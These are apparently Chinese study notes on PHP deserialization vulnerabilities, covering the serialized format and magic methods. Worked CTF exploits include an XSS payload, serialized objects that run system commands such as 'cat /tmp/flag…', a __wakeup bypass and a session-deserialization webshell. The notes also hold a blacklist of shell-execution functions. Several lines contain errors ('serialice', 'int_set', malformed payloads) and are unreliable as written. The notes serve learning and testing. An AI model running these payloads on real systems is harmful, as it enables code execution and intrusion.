DAY35:序列化与反序列化
1、序列化与反序列化概述
1.1、序列化
序列化是将复杂的数据结构(例如对象及其字段)转换为字节序列的过程。以便在网络上传输或者保存在本地文件中。进行序列化之后,在传递和保存对象的时候,对象的状态以及相关的描述信息依旧是完整的并且可进行传递。
核心作用:对象状态的保存与重建。
1.2、反序列化
反序列化是将字节流还原为原始对象的过程,反序列化之后的对象其状态与序列化时的状态完全相同。然后,网站的逻辑可以与此反序列化的对象进行交互,就像与任何其他对象进行交互一样。
许多编程语言为序列化提供本机支持。对象的确切序列化方式取决于语言。某些语言将对象序列化为二进制格式,例如JAVA;而其他语言则使用不同的字符串格式,序列化之后的字节序列都具有不同程度的可读性,并且,所有原始对象的属性都存储在字节序列中
主要作用:使得程序间传输对象会更加方便
内存数据——稍纵即逝,不可持久化。 变量所储存的数据,即内存数据,而文件是持久数据。
序列化: 序列化就是将内存中的变量数据,保存为文件中的持久数据的过程。将内 存变成文件
反序列化: 反序列化就是将序列化后存储到文件中的数据,恢复成php程序代码的变 量表现形式的过程,将文件变成内存
1.3、相关函数介绍
serialize() //将一个对象转换成一个字符串,serialize()返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方
unserialize() //将字符串还原成一个对象,将序列化后的字符串转化为PHP的值
//保留字(成员访问限定符)
private #私有的,只有本类内部可使用
public #全局,类内部外部子类都可访问
protected #受保护的,只有本类或子类或父类中可访问
O:4:"test":3:{s:10:" test flag";s:9:"flag11233";s:1:"a";s:3:"aaa";s:1:"b";s:3:"bbb";}
O: 对象
4: 对象名长度
Demo: 对象名
2: 对象成员个数
s: 字符串
i: 数字
1.4、属性问题
(1) public
无标记,变量名不变,长度不变:
s:2:"op";i:2;
(2) protected
在变量名前添加标记\00*\00
,长度+3:
s:5:"\00*\00op";i:2;
(3) private
在变量名前添加标记\00(classname类名)\00
,长度+2+类名长度:
s:17:"\00FileHandler_Z\00op";i:2;
O:4:"test":2:{s:10:"testflag";s:9:"flag{123}";s:1:"a";s:3:"aaa";}
private
属性 自动在两侧加入空字节 %00test%00flag
在传入序列化字符串进行反序列化时需补齐两个空字节
示例:
<?php
class test{
private $flag ="flag{123}";
public $a ="aaa";
static $b ="bbb";
}
$test = new test;
$data = serialize($test);
echo $data;
?>
O:4:"test":2:{s:10:"testflag";s:9:"flag{123}";s:1:"a";s:3:"aaa";}
<?php
class Demo {
public $name = "admin";
public $age = 24;
}
$a = new Demo();
var_dump(serialize($a));
?>
<?php
$a = 'O:4:"Demo":2:{s:4:"name";s:5:"admin";s:3:"age";i:24;}"' ;
$a = unserialize($a);
var_dump($a);
?>
object(__PHP_Incomplete_Class)#1 (3) { ["__PHP_Incomplete_Class_Name"]=> string(4) "Demo" ["name"]=> string(5) "admin" ["age"]=> int(24) }
<?php
class test {
private $flag = "flag11233";
public $a = "aaa";
public $b = "bbb";
}
$test = new test;
$data = serialize($test);
echo $data;
$c = 'O:4:"test":3:{s:4:"flag";s:9:"flag11233";s:1:"a";s:3:"aaa";s:1:"b";s:3:"bbb";}';
$c = unserialize($c);
var_dump($c);
?>
O:4:"test":3:{s:10:"testflag";s:9:"flag11233";s:1:"a";s:3:"aaa";s:1:"b";s:3:"bbb";}
["flag":"test":private]=>
string(9) "flag11233"
["a"]=>
string(3) "aaa"
["b"]=>
string(3) "bbb"
2、反序列化漏洞
private
、public
、protected
是保留字,是成员访问限定符,其后必须跟冒号
(1)private
:只能被本类中的成员函数访问,类外(除友元外)不能访问。
(2)public
:公有成员可以被本类的成员函数访问,也能在类的作用域范围内的其他函数访问。
(3)protected
:受保护成员可由本类的成员函数访问,也能由派生类的成员函数访问
3、魔术方法
魔术方法:PHP中一般是以__开头,通常会因为某些条件而触发不用手动调用
3.1、常见的魔术方法
(1)__call
:调用不可访问或不存在的方法时被调用
(2)__callStatic
:调用不可访问或不存在的静态方法时被调用
(3)__clone
:进行对象clone
时被调用
(4)__construct
:构建对象时被调用
(5)__destruct
:对象销毁或结束时被调用,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
(6)__get
:读取不可访问或不存在属性时被调用
(7)__invoke
:当以函数方式调用对象时被调用
(8)__isset
:对不可访问或不存在的属性调用isset()
或empty()
被调用
(9)__set
:当给不可访问或不存在属性赋值时被调用
(10)__sleep
:当使用serialize
时被调用(序列化)serialize()
函数会检查类中是否存在一个魔术方法sleep()
,如果存在,该方法会先被调用,然后才执行序列化操作
(11)__toString
:当一个类型被转换为字符串时被调用,toString()
方法用于一个类被当成字符串时应怎样回应。例如echo $obj;
应该显示些什么
(12)__unset
:对不可访问或不存在的属性进行unset
时被调用
(13)__wakeup
:当使用unserialize
时被调用(反序列化)unserialize()
会检查是否存在一个wakeup()
方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源
<?php
error_reporting(0);
include "flag.php";
$KEY = "test";
$str = $_GET['str'];
if (unserialize($str) === "$KEY"){
echo "$flag";
}
show_source(__FILE__);
?>
#payload:?str=s:4:%22test%22
3.2反序列化常见的起点
(1)__wakeup
(2)__destruct
(3)__toString
3.3、反序列化常见的中间跳板
(1)__toString
(2)__get
(3)__set
(4)__isset
3.4、反序列化常见的终点
(1)__call
(2)call_user_func
:字符串传参
call_user_func('test', 1, 2); // 3
(3)call_user_func_array
:数组式传参
call_user_func_array('test', [1, 2]); // 3
例子:
<?php
error_reporting(0);
class Test {
public $test = "admin";
function __destruct()
{
echo $this->test;
}
}
$a = $_GET['code'];
unserialize($a);
?>
'''对上面的程序进行反序列化的序列化,并且插入xss'''
<?php
class Test {
public $test = "<script>alert(1)</script>";
}
$a = new Test();
echo serialize($a);
?>
?code = O:4:"Test":1:{s:4:"test";s:25:"<script>alert(1)</script>";}
4、session 反序列化
php.ini
session.save_path 设定session的存储路径
session.save_handler 设定用户自定义存储函数
session.auto_start 指定会话模块是否在请求开始时启动一个会话
session.serialize_handler 定义用来序列化或反序列化的处理器名称
示例:
int_set('session.serialize_handler','php_serialize');
$_SESSION['name'] = 'test';
5、防御方法
如何利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法函数。unserialize
的参数用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等如何利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法函数。unserialize
的参数用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等
不允许用户控制unserialize
函数的参数
示例
1、网鼎杯朱雀组 phpweb
看到每5秒刷新一次,还有data函数,抓个包看看
func 后面接着 data 函数,p 后面接着具体参数,那么可以利用这个看看源码
func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
//黑名单,不允许使用的函数
//创建新的Function对象
function gettime($func, $p) { //返回当前由对象表示的时间
$result = call_user_func($func, $p); //以字符串的形式输出这两个参数
$a= gettype($result); //用于获取变量的类型
if ($a == "string") { //如果是str类型
return $result; //返回$result的值
} else {return "";} //如果不是返回空
}
class Test { //构建对象Test
var $p = "Y-m-d h:i:s a";//一个参数为 p 内容为年份时间
var $func = "date"; //一个参数为 func 内容为函数date
function __destruct() { //创建新的Function对象
if ($this->func != "") {//如果现在返回过来的func不是空的
echo gettime($this->func, $this->p);//输出现在的时间
}
}
}
$func = $_REQUEST["func"];//通过POST或者GET方式所提交的数据,也可以用于获取COOKIE信息
$p = $_REQUEST["p"];//同上
if ($func != null) {//如果$func返回不是空
$func = strtolower($func);//将$func中把字符串转换为小写
if (!in_array($func,$disable_fun)) {//如果$func,$disable_fun的值不存在于数组array中则返回 true
echo gettime($func, $p); //输出时间
}else { //如果没有
die("Hacker...");//输出 Hacker...
}
}
?>
可以看到过滤了许多,那么我们需要不利用这些参数找到 flag 并且读取,可以利用这段代码
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
看起来就是反序列化,因为网页返回内容中是这段代码的作用所以我们利用这段代码构建 exp
<?php
class Test {
var $p = "具体命令";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
$a=new Test();
echo serialize($a);
?>
将其序列化
func=unserialize&p=O:4:"Test":2;{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
//unserialize 对后面序列化进行解析
发包
看到最下面,我们可以利用系统函数cat\readfile
进行查看
func=unserialize&p=O:4:"Test":2;{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
func=readfile&p=/tmp/flagoefiu4r93
2、Test 小练习
反序列化字符串时,如果表示对象属性个数的值大于真实的属性个数的值时就会跳过__wakeup的执行
payload:
?code=O:4:"Test":2{s:9:"cat 1.php";}
3、PHP Bug 72663
源码为:
<?php
class Test {
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
//__wakeup()魔术方法绕过
//unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
4、session 反序列化示例
御剑扫描,发现一个www.zip
文件,下载下来,查看源码
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Anti
{
public $info;
function __construct()
{
$this->info = 'phpinfo();';
}
function __destruct()
{
eval($this->info);
}
}
if(isset($_GET['aa']))
{
if(unserialize($_GET['aa'])=='phpinfo')
{
$m = new Anti();
}
}
else
{
header("location:index.html");
}
?>
可以看到没有什么必须要绕过的魔术方法,那么利用这几行代码写个序列化
class Anti
{
public $info;
function __construct()
{
$this->info = 'phpinfo();';
}
if(isset($_GET['aa']))
{
if(unserialize($_GET['aa'])=='phpinfo')
{
$m = new Anti();
}
class Anti{
public $info = "phpinfo";
}
$a = new Anti();
echo serialice($a);
序列化为
aa=O:4:"Anti":1:{s:4:"info";s:10:"phpinfo();";}
因为文件为session.php
,所以前面修改为重定向之前也就是session.php
,成功,构建一句话木马写入序列化解析,成功。
蚁剑连接 getshell